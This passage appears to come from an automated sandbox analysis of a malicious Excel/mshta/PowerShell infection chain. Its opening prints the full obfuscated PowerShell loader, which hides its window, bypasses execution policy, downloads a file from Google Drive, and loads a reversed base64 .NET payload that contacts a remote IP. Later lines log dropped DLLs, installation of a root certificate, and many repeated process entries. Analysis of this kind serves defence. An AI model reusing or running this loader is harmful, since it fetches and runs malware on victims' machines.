Zyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.cmdline"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE89A1022D push eax; iretd		5_2_000007FE89A10241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE89A100BD pushad ; iretd		5_2_000007FE89A100C1

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.dll			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
